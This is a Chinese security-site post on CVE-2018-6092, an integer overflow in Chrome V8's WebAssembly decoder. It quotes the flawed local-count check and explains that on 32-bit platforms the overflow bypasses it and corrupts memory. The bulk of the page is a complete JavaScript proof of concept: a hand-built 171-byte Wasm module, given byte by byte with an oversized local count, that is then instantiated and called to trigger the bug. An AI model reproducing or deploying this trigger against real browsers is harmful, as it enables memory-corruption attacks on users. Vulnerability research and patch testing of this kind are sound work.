Chrome浏览器WebAssembly本地整数溢出漏洞(CVE-2018-6092)

  • A+
所属分类:网络安全工具
阿里


推广者专属福利,新客户无门槛领取总价值高达2775元代金券,每种代金券限量500张,先到先得。

Chrome浏览器WebAssembly本地整数溢出漏洞(CVE-2018-6092)

当v8解码函数的本地时,它执行检查:

  1. if ((count + type_list->size()) > kV8MaxWasmFunctionLocals) {
  2.         decoder->error(decoder->pc() - 1, "local count too large");
  3.         return false;
  4.       }

在32位平台上,由于整数溢出,此检查可以被绕过。这允许函数本地数量很大,并且在分配本地数据时会导致内存损坏。

PoC (非 pocsuite 插件)

  1. var b2 = new Uint8Array( 171);
  2. b2[0] = 0x0;
  3. b2[1] = 0x61;
  4. b2[2] = 0x73;
  5. b2[3] = 0x6d;
  6. b2[4] = 0x1;
  7. b2[5] = 0x0;
  8. b2[6] = 0x0;
  9. b2[7] = 0x0;
  10. b2[8] = 0x1;
  11. b2[9] = 0xe;
  12. b2[10] = 0x3;
  13. b2[11] = 0x60;
  14. b2[12] = 0x1;
  15. b2[13] = 0x7f;
  16. b2[14] = 0x0;
  17. b2[15] = 0x60;
  18. b2[16] = 0x0;
  19. b2[17] = 0x0;
  20. b2[18] = 0x60;
  21. b2[19] = 0x2;
  22. b2[20] = 0x7f;
  23. b2[21] = 0x7f;
  24. b2[22] = 0x1;
  25. b2[23] = 0x7f;
  26. b2[24] = 0x2;
  27. b2[25] = 0x23;
  28. b2[26] = 0x2;
  29. b2[27] = 0x2;
  30. b2[28] = 0x6a;
  31. b2[29] = 0x73;
  32. b2[30] = 0x3;
  33. b2[31] = 0x6d;
  34. b2[32] = 0x65;
  35. b2[33] = 0x6d;
  36. b2[34] = 0x2;
  37. b2[35] = 0x0;
  38. b2[36] = 0x1;
  39. b2[37] = 0x7;
  40. b2[38] = 0x69;
  41. b2[39] = 0x6d;
  42. b2[40] = 0x70;
  43. b2[41] = 0x6f;
  44. b2[42] = 0x72;
  45. b2[43] = 0x74;
  46. b2[44] = 0x73;
  47. b2[45] = 0xd;
  48. b2[46] = 0x69;
  49. b2[47] = 0x6d;
  50. b2[48] = 0x70;
  51. b2[49] = 0x6f;
  52. b2[50] = 0x72;
  53. b2[51] = 0x74;
  54. b2[52] = 0x65;
  55. b2[53] = 0x64;
  56. b2[54] = 0x5f;
  57. b2[55] = 0x66;
  58. b2[56] = 0x75;
  59. b2[57] = 0x6e;
  60. b2[58] = 0x63;
  61. b2[59] = 0x0;
  62. b2[60] = 0x0;
  63. b2[61] = 0x3;
  64. b2[62] = 0x3;
  65. b2[63] = 0x2;
  66. b2[64] = 0x1;
  67. b2[65] = 0x2;
  68. b2[66] = 0x7;
  69. b2[67] = 0x1e;
  70. b2[68] = 0x2;
  71. b2[69] = 0xd;
  72. b2[70] = 0x65;
  73. b2[71] = 0x78;
  74. b2[72] = 0x70;
  75. b2[73] = 0x6f;
  76. b2[74] = 0x72;
  77. b2[75] = 0x74;
  78. b2[76] = 0x65;
  79. b2[77] = 0x64;
  80. b2[78] = 0x5f;
  81. b2[79] = 0x66;
  82. b2[80] = 0x75;
  83. b2[81] = 0x6e;
  84. b2[82] = 0x63;
  85. b2[83] = 0x0;
  86. b2[84] = 0x1;
  87. b2[85] = 0xa;
  88. b2[86] = 0x61;
  89. b2[87] = 0x63;
  90. b2[88] = 0x63;
  91. b2[89] = 0x75;
  92. b2[90] = 0x6d;
  93. b2[91] = 0x75;
  94. b2[92] = 0x6c;
  95. b2[93] = 0x61;
  96. b2[94] = 0x74;
  97. b2[95] = 0x65;
  98. b2[96] = 0x0;
  99. b2[97] = 0x2;
  100. b2[98] = 0xa;
  101. b2[99] = 0x47;
  102. b2[100] = 0x2;
  103. b2[101] = 0x6;
  104. b2[102] = 0x0;
  105. b2[103] = 0x41;
  106. b2[104] = 0x2a;
  107. b2[105] = 0x10;
  108. b2[106] = 0x0;
  109. b2[107] = 0xb;
  110. b2[108] = 0x3e;
  111. b2[109] = 0x1;
  112. b2[110] = 0xff;
  113. b2[111] = 0xff;
  114. b2[112] = 0xff;
  115. b2[113] = 0xff;
  116. b2[114] = 0x0f;
  117. b2[115] = 0x7f;
  118. b2[116] = 0x20;
  119. b2[117] = 0x0;
  120. b2[118] = 0x20;
  121. b2[119] = 0x1;
  122. b2[120] = 0x41;
  123. b2[121] = 0x4;
  124. b2[122] = 0x6c;
  125. b2[123] = 0x6a;
  126. b2[124] = 0x21;
  127. b2[125] = 0x2;
  128. b2[126] = 0x2;
  129. b2[127] = 0x40;
  130. b2[128] = 0x3;
  131. b2[129] = 0x40;
  132. b2[130] = 0x20;
  133. b2[131] = 0x0;
  134. b2[132] = 0x20;
  135. b2[133] = 0x2;
  136. b2[134] = 0x46;
  137. b2[135] = 0xd;
  138. b2[136] = 0x1;
  139. b2[137] = 0x41;
  140. b2[138] = 0x2a;
  141. b2[139] = 0x10;
  142. b2[140] = 0x0;
  143. b2[141] = 0x20;
  144. b2[142] = 0x3;
  145. b2[143] = 0x41;
  146. b2[144] = 0xc4;
  147. b2[145] = 0x0;
  148. b2[146] = 0x20;
  149. b2[147] = 0x0;
  150. b2[148] = 0x36;
  151. b2[149] = 0x2;
  152. b2[150] = 0x0;
  153. b2[151] = 0x41;
  154. b2[152] = 0xc4;
  155. b2[153] = 0x0;
  156. b2[154] = 0x6a;
  157. b2[155] = 0x21;
  158. b2[156] = 0x3;
  159. b2[157] = 0x20;
  160. b2[158] = 0x0;
  161. b2[159] = 0x41;
  162. b2[160] = 0x4;
  163. b2[161] = 0x6a;
  164. b2[162] = 0x21;
  165. b2[163] = 0x0;
  166. b2[164] = 0xc;
  167. b2[165] = 0x0;
  168. b2[166] = 0xb;
  169. b2[167] = 0xb;
  170. b2[168] = 0x20;
  171. b2[169] = 0x3;
  172. b2[170] = 0xb;
  173. function f(){print("in f");}
  174. var memory = new WebAssembly.Memory({initial:1, maximum:1});
  175. var mod = new WebAssembly.Module(b2);
  176. var i = new WebAssembly.Instance(mod, { imports : {imported_func : f}, js : {mem : memory}});
  177. i.exports.accumulate.call(0, 5);
CE安全网

发表评论

您必须登录才能发表评论!